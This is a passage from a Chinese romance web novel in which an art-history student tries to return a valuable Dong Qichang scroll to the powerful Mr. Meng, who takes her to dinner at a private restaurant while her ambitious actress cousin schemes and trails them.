以字画为圆心,屋里一阵兵荒马乱,但没人敢靠近它。 董其昌的传世作品里,确定真迹的那一批基本都进了两岸故宫和几家海外大馆。在民间流传的但凡沾点真,价格就以千万起跳。这卷的真伪他们是鉴定不了,但既然是裴老亲自修……那就算是假的,也是真的了。 一旦缓过了劲儿,周望舒就严厉起来:“你怎么回事,这东西也敢收?” “人家硬塞的,我都没反应过来。” 几个学生你看看我我看看你:“是不是看你漂亮居心叵测啊?” 沈冲扉面红耳赤:“不是这么回事。” 她把那书房里发生的事简短扼要地说了一遍。 “你对着董其昌的藏主说你不喜欢董其昌?”周望舒咬牙夸赞,“沈冲扉啊沈冲扉,你可真有骨气啊。” 沈冲扉垂头丧气:“别骂了……我哪儿知道。我想交给裴老,裴老不收,让我自己解决。” 周望舒长叹了一声,看着天花板半晌:“行吧,我给他打个电话。” 这种级别的人情世故,确实得大人出面了。 但周望舒高估了自己,或者说低估了那位孟先生。即使她出面,裴泰南也还是卖关子,让她甭管,天塌不下来。 一无所获,周望舒只能说帮沈冲扉在收藏圈里打听打听。 其实这只是她的宽慰之语。这个级别的拍卖流转,大概率是私洽,也就是买卖双方都隐身,由拍卖行作为中间人代理,也无纪录可查。 “好好收着,放宽心,先别想那么多。”她临走前嘱咐。 沈冲扉打着算盘:“……不能锁学校库房吗?” 周望舒睨她一眼:“你就算讨厌学校,也不能这么打击报复。” “……” 沈冲扉无奈,只好带着这千万级的藏品回了家,在自己那厢房里转了半天。 芳姐目睹全程,问她也不答,怀疑她是见鬼了撞邪了。 沈冲扉恨不得撬个地洞来藏。她也没个保险箱什么。脑袋抵墙想半天,眼睛骤然一亮—— 她把残卷拿了出来,大大方方地挂在了墙上。 只要没人以为这东西是真的,也就没人会偷! 这叫——灯下黑。 挂好了,沈冲扉双手插腰站远了一会儿,认认真真揣摩这上的字。没错,她维持原判:还是飘,不喜欢。 翌日一早,从“孟”姓琢磨出了什么的周望舒,提着老家的雕花酒,特意登门来拜访裴泰南。 “这位孟先生,是那个孟?” 裴泰南咂咂嘴品酒香,眯缝着眼,不置一词。 这就是默认。 周望舒既庆幸,又担忧。庆幸的是以她对孟家几位长辈的了解,他们教养出的小孩不会差;担忧的是,到底是这出身,身居高位已久,恐怕免不了沾上那类子弟的习性。 “你别把人想岔了。”裴泰南斜眼:“我可作证啊,他丢下东西前都不知道她长啥样,绝不能是见色起意。” 周望舒只看着他微笑。 “……” “成,你不放心,我当面打一电话。” 上午十一点,嘟声响了几下才被接。 一道倦懒的声音,一听就知道是从床上发出。 “喂?” 裴泰南不是什么要紧人,孟宗台跟他更像是忘年交,没有在长辈跟前的拘束。 裴泰南看看周望舒,开门见山:“你把那卷董其昌收回去吧,别折磨人小姑娘。” 孟宗台闭着眼,仔细想了会儿才想起怎么个事,态度更散漫了:“怎么把我想这么坏?真送她,她爱怎么处置就怎么处置。” “你认识人家吗就送这么贵重的东西?” “嗯。”孟宗台随意地应了一声,从床头摸到烟盒,抽了一只塞进嘴里,含糊地问:“所以,叫什么?” “……” “沈冲扉!”裴泰南没好气答。 “什么冲什么扉?一飞冲天的冲飞?”孟宗台更懒洋洋地问,掀被落地,走到落地窗前按开电动遮光帘,“听着像男孩儿名。” 坏了坏了,被套话了。 裴泰南心虚地瞥了眼周望舒,严肃划清界线:“你可别问我要联系方式。” 孟宗台失笑一声,看着外面碧蓝的好天气:“我至于吗?” 跟他的松弛比起来,沈冲扉是一晚上没睡,直到听到院子里有了芳姐动静才睡。要是她自个儿的东西,丢了就丢了,但这字画不归她。她睡不着,也看不进去书,翻来覆去地记恨那个姓孟的。 还梦到他了。晦气…… 几天下来,沈冲扉守巨宝守成了人干儿。她不敢让东西离身,也不敢去银行开保险柜,就当她被害妄想吧,总觉得存进去更容易不翼而飞呢。 这当中,沈六又来了两回,明面上都没再提让她入圈的事,而是在老太太跟前献殷勤。先是送了件苏州绣坊出来的双面绣团寿褂,又带着父母来唠嗑、看电视。天伦之乐,老太太岂能不开心。 沈冲扉将一切看在眼底,没做那个扫兴的人。

被沈黎霜带动的,亲戚们走动都勤快了。那天,一屋子人齐得如同过年,沈大姐刷手机时忽然叫出来:“六妹!你在热搜上呢!” 沈黎霜脸色骤变,一把将手机夺下来。她越这样,周围人越觉得有猫腻。 沈黎霜闭口不言,唰地掉下两行泪。这下子把亲眷都给吓到了。老太太亲自逼问,命令沈冲扉打开热搜,念。 热搜单挂沈黎霜大名,点进去是某论坛爆料贴,说这波会有个影后级女星下马,猜沈黎霜的是高赞,黑粉狂欢,恨不得她明天就铁窗泪。 沈冲扉念完,情绪复杂地看着沈黎霜。 六姐说的都是实话,六姐也都在表演…… 果然,随着沈黎霜说完前因后果,整个沈家彻底成了戏台子,有慌了神的,有推荐人脉的,还有骂老天爷的。 还是老太太见过世面多:“你这是得罪人了啊!” “我得不得罪人不知道,不如别人会找关系是真的。”沈黎霜泪眼涟涟:“这么多天我东奔西走求爷爷告奶奶,眼看着就要定调了,我、我也没地方说……”索性大哭起来。 老太太和她妈抱着她,一个摸她头,一个拍她背,当小女生哄。 趁没人注意,沈冲扉转身走出门外,望着悠悠蓝天长吐了一口气。 沈黎霜这出戏恐怕是演给她看的,她要是再不识好歹,六姐就要把四合院拿到台面上称斤两了。六姐势大,早已是沈家实质上的话事人,到时候老太太孤掌难鸣,又有这样的道德压力在,再不舍也只能卖了。真卖了,心荒了,她还有命过她下一个生日吗? 沈冲扉在她的卧室里等着沈黎霜现身。 果不其然,不多时,沈黎霜就进了门,眼圈还红着,但一张脸已经恢复到了极致的平静和淡漠,甚至可以说是麻木。 她扯开书桌前的椅子,娴熟地叼了根烟进嘴里:“不介意吧?” “介意,我不抽二手烟。” 沈黎霜哼笑一声,居然真停了打火的手:“让你加经纪人,你加了吗?” “没有。” “孙蕾是我的合伙人,十几年的老朋友了,一定会好好打造你。”沈黎霜自说自话,余光觑见挂在墙上的一幅字,定了一定,注意力被吸引过去:“真漂亮,谁的?” “董其昌。” “谁啊?”她不甚在意,随口问。 “晚明的书画大家。” 沈黎霜点点头:“七妹是文化人,高学历高认知,进圈是降维打击。那些个精神小妹跟你比不了。”又抬了抬下巴:“东西看着挺真啊。” 她不了解董其昌,但也浸淫过古董字画之类的收藏,见过好东西。 沈冲扉神经一紧,说:“当然是假的。” 沈黎霜朝她看了看,没再说什么,而是问:“你为什么不乐意当明星?六姐听听你意见。别说什么不想被我利用。这世道就是这样,利用来利用去大家才亲。别管我初衷,你只管看自己的心。” 她肯问,沈冲扉自然愿答:“一是我不擅长这个,谁都想干擅长的,而不是去找挫败感。二是我不想被这么多人看。” 沈黎霜笑了笑:“告诉你,娱乐圈都是草包,比的是谁更会虚张声势。何况,”她顿了顿,风情万种:“老七,你有我。” 日拱一卒,说完她即不再多嘴,起身到后花园里抽烟,顺带给老许发微信,问问他最近还有无可能再见着孟宗台。 老许那边过了一阵子才回,信息简短:【周五下午,嘉德】 沈黎霜意会,豁出去让小昕将她下周五的一个通告推了。 这天周五下了专业课,沈冲扉也被周望舒委派了个跑腿的活儿—— 嘉德下个月有一场古代书画专场,其中一件东西在鉴定上有点小分歧,需要周望舒过过眼。但她马上要去日本参加学术会议,赶不及,便让沈冲扉跑一趟,将细节拍清楚。 王府井大街一号,嘉德艺术中心。 王府井这一路都游客熙攘,一到嘉德这片就冷清了下来,却更浮现出了京地的气象。 一个助理接待了沈冲扉:“蒋总今天另有客人,让我陪您。东西已经备好在三号室。” 蒋总是嘉德古代字画业务部的负责人,原本是他来对接的。 沈冲扉没见怪,随之上九楼,沿走廊往深处走。 太安静了,安静得不像话,仿佛整层楼都空了似的。 两侧有几间鉴赏室,门都关着,前面助理的脚步声也放得很轻。 整个空间似乎被刻意保持在某种噤若寒蝉的肃静中,让人没来由地心生敬畏。 直到一个男人突然从某间推门而出,沈冲扉下意识将视线望进去。 这无疑也是一间鉴赏室,落地窗外是故宫的红色院墙,室内正中的明制桌椅透出了官派气象。桌前坐着一个男人,侧对窗景红墙,黑色衬衣的袖口收到了手肘,手腕没佩戴表,唯有一圈色泽沉稳的珠子。 沈冲扉眼皮一跳,差点脱口而出“孟先生!” 确实是孟宗台。 他像是没听到门边的动静,或者说没在意,专注在面前的长卷山水画上。 半午后的自然光明亮地洒落这一室,沈冲扉的心里忽地冒出了一个声音:嘉德的九楼,是为他而空的。 4.第 4 章 那个男人将门关上,隔绝了沈冲扉的视线,又颇为不悦地瞥了她一眼。 直到走到三号鉴赏室门口,他才说话:“我姓蒋,你是周教授的学生吧?” 沈冲扉微微鞠躬:“蒋老师好。” 她预先查过,这位蒋总曾在央美执教,是下海的学者。 蒋总果然面色稍霁,“我今天有招待,你有什么需要跟我助理说。” 沈冲扉点点头,还是忍不住问:“刚刚里面那位先生,大概什么时候走?” 蒋总纳罕地瞥了她一眼,大约是震惊于她的不知天高地厚和野心。他冷肃了脸色,略带一丝极不起眼的嘲弄:“沈同学,这不是你能见的人。” 沈冲扉坚持:“我找他有事,劳烦您,就说我对董其昌有了新想法。” 蒋总不知道她是从什么渠道得知孟宗台对董其昌感兴趣的,他比刚刚更淡漠客气了些: “很可惜,想跟他聊董其昌的女人男人都很多。” 说完他没再给沈冲扉机会,抬步走了。 “沈小姐,里面请吧。”助理推开三号室的门:“我会陪着您,直到工作完成。期间有需要您跟我提就是。” 沈冲扉听明白了,他这是给她递话,让她踏实待着,别动歪脑筋。 室内,深灰色的鉴赏垫已铺好在长案上,上面摊着陈洪绶的手卷。沈冲扉要为周教授记录第三开上题跋的细节。她戴上手套,拿起放大镜和相机。 既来之则安之,既然暂时没机会接近那个姓孟的,她也就定了定神,调整状态,并很快进入了心流。 不知不觉便过了半个钟。 门边的细微动静不足以打扰到这种状态下的她,倒是那位助理,眼睛一亮,诚惶诚恐地出去了。 “孟——” 孟宗台用眼神制止了他出声,又略微掸了掸两指头,意思是让他走。 助理回头看了眼沈冲扉后,对孟宗台弯了弯腰,没说二话。 过了片刻,沈冲扉说:“九八年秋拍那本古代书画图录,现在能找到吗?” 孟宗台懒洋洋地答:“在资料室。” 这声音怎么不对呢? 沈冲扉又觉得耳根痒了,与上次在裴泰南那儿如出一辙。 她反应过来,唰地一下回过头去。 午后偏西的光从落地窗里淌进来,半道走廊由亮至阴。 始作俑者就立在这明暗交界处里,双手抄兜,整个人斜斜地倚着门,肩松沉,重心微微落在一条腿上,透出股顺便。 “几天不见,沈小姐为董其昌熬瘦了。”那把好嗓音戏谑地说。 光让他深邃的眉骨投出极浅的一道阴影,把那双狭长的眼眸压得更深了。 沈冲扉的心鼓“咚”地敲了一下。 这几天她翻来覆去记恨的、腹诽的、半夜不睡觉记挂的、东奔西跑打听的——就在眼前。如此好整以暇,仿佛她的不安是个笑话。 她放下放大镜,发挥所有修养问候一声:“孟先生,这么巧。” “替裴老跑腿?” “替我老师。” “周望舒。”他咬字不重,但三个字间各有停顿,形成了一种独特的似揣摩又似点名的腔调。 周望舒的父亲和裴老一样,在那个朝不保夕的年代,被孟宗台的爷爷一封书信保回了京,也算是保留了中国博古界的一小撮火种。但孟宗台没打算对这小姑娘说。 机不可失,沈冲扉用腿格开椅子起身,拎起一旁书包:“上次那个董——” “事儿做好了吗?”孟宗台提醒她。 “……” 抬腕看表,确实有点拖延了。 “不急,先忙你老师的。” 沈冲扉不放心:“那您接下来有空吗?” “有。” 还不放心:“暂时不走吗?” “不走。” 沈冲扉一颗七上八下的心缓缓落回去,眉眼间染上喜色:“那等忙完,我再跟您具体聊。” 煞有介事的。 孟宗台起了逗心,漫一颔首:“听领导安排。” 越正儿八经的人越不经逗,说的就是沈冲扉,何况她还是个没经世面的闷头学生。她整颗脑袋都红成虾色,不敢再接他目光,低下头含糊地说:“那我继续忙了……” 接到助理汇报的蒋总脚步匆匆,由远及近,衬衫下出了汗。 他以为孟宗台是对那副陈老莲感兴趣。而之前几次展览、私宴,他居然都没有挖到这一层,实在是罪该万死。 谁知急冲冲到了孟宗台跟前,还没来得及开口,眼睛就先帮他审了时度了势—— 他没在看画,在看那个沈同学。 原本为他而静的九楼,此时此刻都为这个女学生而静了。远处红墙在落地窗中如画,她伏案低首,模样沉静皎洁,连身上那件料子普通的旗袍都看顺眼了。 蒋总偃旗息鼓,嘴巴紧闭识趣起来,既没插科打诨,也没顾左右而言他,掩下来的双眼里写满了悻悻和匪夷所思。 倒是孟宗台很自然,略抬下巴:“来得正好,跑个腿吧,九八年秋拍的《中国古代书画图录》,她要。” 蒋总亲自下楼去资料馆取了资料,又亲自送上来,交由孟宗台。 孟宗台走进去,软皮鞋落地无声,将图录轻轻搁在了沈冲扉的手边。 她投入起来已忘了这号人的危险,也就没一惊一乍,自然无比地说:“谢谢。”头也没抬。 蒋总这次是彻底看服了。 同一时间,嘉德一楼,前台彬彬有礼地拦住了一个戴着夸张墨镜、红唇浓艳的女人。 沈黎霜今天来得很有分寸。 她不能让孟宗台看出她是特意为他而来,因此画着烈焰红唇气场全开,仿佛是来看预展。可惜她甚少现身拍卖行,不是什么重量级客人,何况今天这会儿的嘉德只招待孟宗台一个。 “沈小姐,今天下午我们不对外开放。”前台微笑着。 沈黎霜把墨镜摘了一半,露出那双极有辨识度的眼睛,强调了一遍:“我是沈黎霜。” 前台笑意不变:“认识的,沈小姐。” 沈黎霜把墨镜彻底拿下来,捏在手里。认识,但不觉得她值得破例。这种羞辱比“不认识”更深。 嘉德的大堂宽阔、安静,所有东西都被驯服在一种昂贵的秩序里,正如这城市本身。 明星怎么了。京城是折叠的三重平行世界,权贵的,名流的,普通人的。越早认识到这一点,才能越早在京城找到安身立命的本事。 沈黎霜克制着情绪保持体面,做最后的努力:“蒋总在吧?” “蒋总今天有重要接待。” 再往下说就难看了。沈黎霜红唇抿了许久,重新戴上墨镜拨了拨长发,仿佛刚刚这场僵持没发生过。 “行。那就明天。” 九楼。长时间伏案工作的沈冲扉终于抬起身,长松了一口气,活动筋骨关节。 门边已无人。 沈冲扉脸色一变,将丁零当啷的双肩包往怀里一抱,冲出门去。 吱——的一声,疾跑的双脚又很快硬生生刹住,帆布鞋的橡胶底跟大理石地面摩擦出声。 走廊尽头的沙发上,男人两手搭膝俯身坐着,黑衬衣下隐约可见手臂和胸膛线条,十指间是一台横着的手机,一副等女人等得百无聊赖的模样。 “没走。” 明明听到动静,他却未抬眸,淡淡地说,戳破她那点慌张。 沈冲扉悄悄呼出一口长气,走近他:“让孟先生久等了。” 视线扫到他屏幕,居然不是游戏,而是一副卫星地图,深绿的山脉中夹杂着几条雪白的河流线条。看上去是某一处自然的地形地貌。 没等她再看,孟宗台适时收了手机,也没跟他客气:“是有点久。”他没跟她客气。 “抱歉,低估了工作量……” 孟宗台起了身,因为身高差的缘故,他低眼看她:“该怎么道歉?” “……” 沈冲扉不是榆木脑袋,更不是尼姑庵出生的,知道男人这句话的后面多半跟着什么老套伎俩。她没中圈套,机灵地说:“那我们就快事快办,省得再耽误您!” 一边说一边拉 开拉链,往外抽盒子:“上次你给我的董其昌,我已经好好欣赏揣摩过,是时候物归原主……” 抬起头来,露出一个讨巧的笑:“那时是我大言不惭,多亏了孟先生,我才能这么深入领会他的意境。” 小话术一套套的,可惜这种话孟宗台一天能听百十来句,听了快二十年。不同的是,别人讲得比她还高明些,也比她自然。 孟宗台看着她不说话,脸上没表情,只从漆黑的眼眸里透些懒懒散散的冷意。 沈冲扉没能顶住这目光两秒,手停了下来,盒子一半在里一半在外,抽也不是塞也不是。 咕咚。吞咽一口。 半天,终于听到孟宗台大赦了她:“车上聊。” 地下停车场。 沈黎霜将车门摔得如同闷雷,整个地下停车场都跟着震了一下。上了车,她胸口起伏,跟墨镜撒气,将它撇进副驾驶。 不能急,不能急……孟先生的那台红旗还停在VIP专用车位上,说明人还在。她没进楼,不代表不能在这儿硬等硬拦。虽然这样对老许不厚道,但这司机吃了她够多好处了,还真当能骑她头上不成? 再不济,沈黎霜眯了眯眼——就算她凉了,还有沈冲扉。 她已经把话说得那么明白,以这姑娘的冷慧,不会不懂。等她真正见过这世道如何运转,就会知道——漂亮这张牌,自己舍不得打出去,只会沦为被别人用。 正想着,电梯厅那边忽然有了动静。 老许第一时间下车,迎候车边。 沈黎霜也下意识抬眼。 视野问题,她只能看到孟宗台不是单独一人,身边还跟了个谁。 沈黎霜皱起眉,拼命地收放眼周肌肉,好让自己视线更清晰。 这个女孩子穿素色旗袍,怀里抱着东西,看打扮,不是什么层次很高的女人。地下车库的冷光落在她侧脸上,令她鼻尖、颧骨上都泛着干净莹润的光,像特地抹了高光似的。 对于主子身边出现的女学生,老许心中惊骇,却就像是瞎了一般,不看,不惊,不疑,也不问,拉开车门,恭敬微躬身。 沈冲扉捋平旗袍后身,人先矮身坐进去,继而才将两腿收进去,姿态漂亮,新闻上王妃上车用的无非也就是这套流程。 老许另眼相看。没想到衣服便宜,人倒挺贵。 等孟宗台上车,他轻轻推上车门,抬头往停车场某处瞥了一眼,并摇了摇头。 但他没想到沈黎霜的注意力根本不在他身上。 她死死盯着那台老红旗。车窗深黑,实际上什么都看不见,但她却仿佛还能看见那个女学生坐进去时的模样。 没有惶恐,也没有风骚,安静自然得像不知道自己坐进了什么车。 重要的是——这个人,像极了她的好七妹。 车门合上的一瞬间,外头地库的空响被隔绝开,冷气、皮革、极淡的香水气一齐朝沈冲扉的身体、感官压过来。 还有,身边男人的气息。与他手上的沉香味混杂着。 她是第一次跟陌生的成年男性同乘,抱着书包坐得端正,像一只化了人形刚来世间的小动物,规规矩矩。 小脑筋活泛。 孟宗台刚刚说“车上聊”,现在算车上了吧,能聊了吗? 没等开出地下车库,沈冲扉就迫不及待地将东西往外掏:“孟先生,这卷董——” “下车再说。这会儿精神头不够。”孟宗台已闭上眼,声音倦懒。 “……” 难道是…… “等我等的?”单纯着也善良着呢,自觉理亏,小心翼翼的关心。 孟宗台没别的意思,但听到她这么问,他居然唇角微勾,“嗯”了一声。 前头的老许一脑袋问号。快拉倒吧,明明是昨晚上凌晨三点才回家。 腹诽得入神了,不知道孟宗台什么时候睁了眼,视线淡淡睨在他身上,没有表情。 老许脊背猛地一个哆嗦。 “老地方。”孟宗台丢给他目的地,“还有,”他轻描淡写地吩咐, “甩掉后面那台大G。” 5.第 5 章 大G这个词一出,老许色变,绷着心虚一脚油门踩到底。 几道弯,几脚急刹急起步,老许用上了部队里练出来的一身看家本领,将后车甩得没影儿。 窗外街景混乱横掠,沈冲扉团抱书包,眉心蹙得厉害,似在忍耐什么。 没几秒,忽地听到身边男人一句:“开慢点。” 老许往后视镜扫了眼便心领神会了,乖乖松了油门,将转弯起停都稳当。 沈冲扉吞咽一下压下反胃感,终于敢睁开眼。 一瓶被拧开了的斐泉被递到了她眼前。瓶身在握着它的那只手里显得小巧,清泠泠的水衬得他五指格外清俊。 沈冲扉接过,小声说了句谢谢,“有人跟踪你?” 她稍回头望了望。大G这种车子京城遍地跑,她没往六姐身上多想。 孟宗台的视线如薄薄雪刃扫过后视镜,几不可闻地哼笑一声,“一两只不懂事的。” 那边,被甩掉的沈黎霜猛地拍了下喇叭,双闪刹停,从包里翻出根烟来。 她死也不相信那会是沈冲扉。但要真是她呢?还没出道,就攀了高梯,不是好事。 沈黎霜摸爬滚打这么多年,冷眼看遍女人浮沉百态,大佬养的女人可以很人间富贵花,但出不了头。要出头,得自己有野心,得自个儿觉得饿,喂饱了的那是宠物。 更重要的是,要是沈七真的这当口跟了他,那就相当于把沈六两条路都堵死了——孟先生这条路她碰不到,沈冲扉这张牌她也打不出去。 一支烟的功夫,沈黎霜有了谋断,踩油门,调头,往沈家四合院而去。 另一头,老红旗绕过几道管制和红灯后,拐进了安静的胡同,停在一双红漆铜环大门前。 看着半新不旧,门可罗雀的。 孟宗台领着她进去,熟门熟路。过了垂花门,花鸟虫鱼的好景致,一棵紫薇花树花意浓郁。瞧着像什么大户人家的院子。 直到领班过来,沈冲扉才确定这儿是饭店。 “孟总,今儿到了一批极品的辽参,师傅就留着等您呢。”领班热情,但讲话声轻轻柔柔,很低频。瞧见了沈冲扉,打趣问候:“倒是第一次见您带姑娘来吃饭。” “叫她小沈。”孟宗台丢下话,多余的没介绍。 “小沈姑娘。”领班走到了她跟前,与她并肩往里走:“您有什么喜欢的、忌口的,就告诉我。” 沈冲扉冲她笑了一下,有点拘束,小声叫:“孟先生?” 孟宗台脚步略收,等领班识趣站远,他问:“怎么?” “你没说要吃饭啊。”沈冲扉为难地说。 “吃饭。” “……” 是这样吗?! “吃完饭,你想聊什么就聊什么。” 沈冲扉回忆自己银行卡里的余额。都是每个月省下来的,不知道够不够这儿一顿……而且,“我奶奶也在等我回家吃晚饭。” 孟宗台没想到这世上还有这么爱跟长辈吃饭的小年轻,吩咐:“去打电话请个假。” 沈冲扉“哦”了一声,背过身往外走。走了两步,下意识回头,见男人还在原地,双手插兜站在紫薇花下,似是在看她。 一句诗就那样突兀地钻进了沈冲扉的脑海。 “独坐黄昏谁是伴,紫薇花对紫微郎。” 怕与他目光对上,她很快地回过头来。却不知怎的,路都不如原来会走。 一通电话很快结束。沈冲扉小跑回来,领班笑眯眯地说:“老人家不放心吧?小沈小姐这么漂亮,要是跟男同学约会可就坏了。” 鬼使神差的,沈冲扉抬头看了孟宗台一眼,心想现在难道就好吗? 大概差了辈了是会安全点吧。 刚到饭点儿,客人不多,大厅只坐了一两桌人。 这家私房菜馆来头不小,能来这儿吃饭的大多身份不凡。但从孟宗台进门的那一刻起,整个大厅的声噪就像是被一只无形的手往下压了半个调子。 领班在前头引路,眼看着就要穿过去,往那一溜儿单独有门的房间去。 包厢? 沈冲扉机敏地留神着。 她跟这人才见第二面,又不熟底细,孤男寡女的怎好去包厢? “孟先生!”情急之下,沈冲扉叫了他一声,脚尖点点地:“我……我想在大厅吃。大厅热闹。” 领班看看她,又看看孟宗台。 孟宗台也看了她一眼,未几,吩咐:“听沈小姐的。” 大厅摆了八九张圆桌方桌,铺崭新白布,瓶插白丁香或紫薇。孟宗台半含戏谑地问:“沈小姐看哪张台子顺眼?” 沈冲扉认真地指了张最居中的,堪称宇宙中心。 领班:“……” 她不敢看孟宗台脸色,也没敢想他能应承。 没料到孟宗台居然笑了一声,说:“好眼光。” 领班:“……” 从他们一坐下起,屋角一桌的客人目光和脸色就变了,写满了震惊和不解。 菜单是崭新的四折页,看上去是当天菜色当天印。孟宗台将自己那一折随意丢下,一条手臂半搭着椅背回消息,让沈冲扉全盘做主。 沈冲扉将折页翻到头,心里犯怵。 坏了。怎么不写价格? 她抬头看领班,小声问:“你们这儿不明码标价么?” 领班:“……” 真是冤枉。像他们这级别的私房馆子,跟会员制俱乐部差不多,不挂牌不宣传,靠口碑和老带新。来这儿的,要么是像孟宗台这样当食堂的,要么是宴请极私密的对象。求这样的人办事,漏“钱”字最下乘,故才处处无标价。 孟宗台将手机放下,挑挑眉:“等什么呢?等市监局来查?” 领班会意,忙去换了新的过来。这次有价格了,也把沈冲扉看晕过去了。 一道菜,就是她一个月的生活费。 “换一家吧,孟先生。”她诚恳地说,将折页啪地牢牢合上:“我的钱只够请你在这儿吃一道菜。” 孟宗台点点头:“行啊,点吧。” “……” 好吧,既然你不嫌吃一道菜丢人的话。沈冲扉重又鼓起勇气翻开折页,从头汤看到热菜,再看到主食、点心。 她选好了。 脆声说:“要一份红烧狮子头。” 领班擎等着她说下一道,谁知她把折页递了回去:“就这样。” 领班给整不会了,望向孟宗台求助。 孟宗台一手支腮,松弛得像在自家书房里:“今天是沈小姐做主。” 不多时服务员便送上了一壶茶,并为两人注茶汤。 孟宗台说:“免费的,不花钱。” 沈冲扉小口抿,烫着舌尖了也不说,暗地里苦了苦脸。 接着服务员鱼贯而上,奉上四道凉碟。 孟宗台仍旧支腮:“送的。” 沈冲扉慢慢地红了脸,有些窘,偏装正经,煞有介事地说:“服务真好。” 孟宗台配合她,颔首:“宾至如归。” 这半天下来,不是“听沈小姐的”,就是附和她,但沈冲扉一点没受宠若惊,反而更窘了,耳廓都有些烫。 可能是她敏感,她甚至觉得周围人都在看她、议论她。 可能位子还是太正中了吧…… 片刻后,忽地有人到了桌前,诚惶诚恐,人未语,身体先倾。 “孟总?还真是您。今儿怎么……”又觑一眼旁边若无其事的沈冲扉,笑笑,似乎懂了,递出茶:“知道您不喝酒,这杯茶我敬您。” 挺高大一个人物,毕恭毕敬的身体快成对折。 孟宗台甚至连眼皮都没怎么抬,只散漫地靠着椅背,指节漫不经心地敲了敲茶盏边缘,算是回礼。 这样的人来了有两三个。其余不明所以的见了这阵仗,也窃窃打听起来,怕错过了什么。 沈冲扉趁间隙小声问:“这么多人都认识你?” “圈子不大。”孟宗台言简意赅。 沈冲扉不知道,这对于那些人来说,是千载难逢的机会。平时要见孟宗台,得去中国会——那地方靠继承,不纳新。按说他也能跟服务生交代几句,挡着他们。但大约他今天心情不错,何况既都坐了外面,何必还拿腔作势。 太阳彻底落了,斜穿过胡同的余晖被夏夜的蓝黑所取代,客人也渐渐多了起来。 一个女人进来,周围人都报以注视。沈冲扉也回头望,依稀辨认出那似乎是个明星。陪她来的男人倒不像娱乐圈的人,进门后径直朝孟宗台这桌来。 “哟,今儿怎么坐这儿抛头露面?”没称呼,说明是熟人。 他身边的女星微笑着,眼睛往沈冲扉这儿觑,带着探究、比较和一点不易察觉的称斤两。 这还是沈冲扉今晚第一次见孟宗台起身待人。 那男的瞧了眼坐着纹丝不动的沈冲扉。 再怎么事不关己,沈冲扉也只能起身了,否则礼数难看。 但这里头到底有她什么事呢?她视线不住往孟宗台那儿飘,求助。 结果这人也不解释一下,还介绍:“姓沈。” “够惜字如金的啊。”那男的调侃。 以为孟宗台在保护她身份,实则 是除了性别女之外,他也就只知道这一点了。 女星跟沈冲扉说小话:“沈小姐做什么工作的呀,气质真好。” “还在上学。” “哦……”她意味深长:“上学好呀,人说腹有诗书气自华,又单纯。哎,咱俩加个微信吧?” 沈冲扉满脸的突然和为什么。 孟宗台睨了这边一眼,那男的立刻就有了数,沉声训人:“别唐突了沈小姐。” 那女星悻悻地作罢。 前后也就两三分钟的寒暄,但沈冲扉已感到精疲力尽。总算是知道包厢的好了……然而后悔也已来不及。 孟宗台将她这些无措和坐立不安都收在眼里,提壶斟茶:“沈小姐现在知道自己谱大了吗?” “什么?” 一纸素灯笼的温润光,照出了她对面男人眉眼的沉静。 沉静大部分时候预示着友善、安全,然而莫名的,他的沉静却让人觉得危险,来自动物本能,对被锁住的惶恐。 “我还从来没有哪个女伴,敢像你这样广而告之、昭告天下过。”他缓缓地说,掀眸看她。 沈冲扉被这一句弄得慌乱,睫低下来:“孟先生请自重。” “恐怕是沈小姐自己想得多。”孟宗台提了提唇角,不留情地戳穿。 “跟我包厢吃饭,你怕什么?” 明明是八风不动的一双眼,却又让人感到暗的天色下,似有藏地经幡狂卷。 他问得太平静,又偏偏是明知故问。 沈冲扉被他这一问这一眼勾住,没了话说。各种乱七八糟男盗女娼——全是古本字画里看来的糟粕——就这么争先恐后地歪浮到她脑海里,害她慢慢红透脸。 他看在眼里,却根本不问她脸红什么。 过了半天,沈冲扉整理好情绪,不卑不亢:“女孩子在外面,有点自保意识总归是不错的,今天要是跟陌生男人吃饭的是孟先生的妹妹,孟先生恐怕还要夸她做得好。” 孟宗台略笑了一笑:“不错,做得好。” “……” 沈冲扉好不容易退下去的薄红又滚上来了。 她现在添了别的担心——大厅里这么多人在若有似无地关注,被他们看见孟先生只吃一道菜,会不会笑话?以为他要破产了? 然而上来的第一道热菜却不是狮子头,是汤。 盅盖一揭,浓香扑鼻,清得见底的高汤里,有什么透明状的东西若隐若现。沈冲扉尝了一口即知,是燕窝。 上错了? 然而不等她说话,第二道菜上来了。 是她点的狮子头。 接着。 葱烧辽参。 沈冲扉:“?” 砂锅白肉。 沈冲扉唰地抬眼看孟宗台。 烧二冬。 还有?! 八碟码儿的炸酱面。 “……” 以及摆在德化白瓷里的豌豆黄、芸豆卷。 “不关我的事。”孟宗台恢复了那种不紧不慢懒洋洋的调性。 见她满脸写着不信,干脆把领班叫了过来。 领班巧舌如簧:“是送的,沈小姐这样的贵客光临,不拿出点招牌菜的话,怎么能让您再来呢?” 沈冲扉怎么经得起这样的捧。 而且骨子里就认为这是孟先生背后搞的鬼。苦于没证据罢了。 她干脆不说话了,一把银叉子叉住海参段,送进嘴里慢慢地嚼着。上半身不知不觉就沉甸甸地半伏在桌上,歪过脖颈儿低垂脸,谁也不看。 孟宗台看了她两秒,从雪白颈线向下,略顿,不动声色地将目光移开,手指轻点,让服务员来添茶。 但茶明明刚新上过,专配的茉莉香片,白瓷杯满着呢。 沈冲扉胃口好得很,本就爱吃饭,这儿还好吃。她吃起东西来毫无包袱,但教养底子厚,于是便赏心悦目,给饭菜添香。 也不知道孟宗台是什么时候停下了筷子,单看她吃的。 餐后果盘是解暑的冰镇西瓜,配今年最早一批荔枝。 沈冲扉时而剥一颗荔枝,时而又去取一牙西瓜。荔枝壳是红的,西瓜瓤也是红的,与她素白的手、藕粉色的旗袍组成画。 孟宗台看着看着,觉得她缺一只翡翠镯。 有了翡翠的冰透,这画面才更古典,更夏天。 于是他问的有关她的第一个问题,不是名字,不是年纪,也不是住哪儿祖籍哪儿,而是问:“沈小姐的手腕尺寸是多少?” 沈冲扉指尖还沾着荔枝的清甜汁水,闻言,什么动作都顿住:“……啊?” 6.第 6 章 问手腕尺寸是做什么呢?量体裁衣,送手饰,除此之外也想不到别的了。但沈冲扉又不敢往这些方向想,没自恋到这份儿上。 她打太极:“不知道,没量过呢。” 好在孟宗台放过了她,还主动提了董其昌。 “现在我们可以谈谈沈小姐的事了。或者我们移步包厢。” 沈冲扉这次学乖了,人多眼杂,她不想再当西洋景,斩钉截铁地选了包厢。 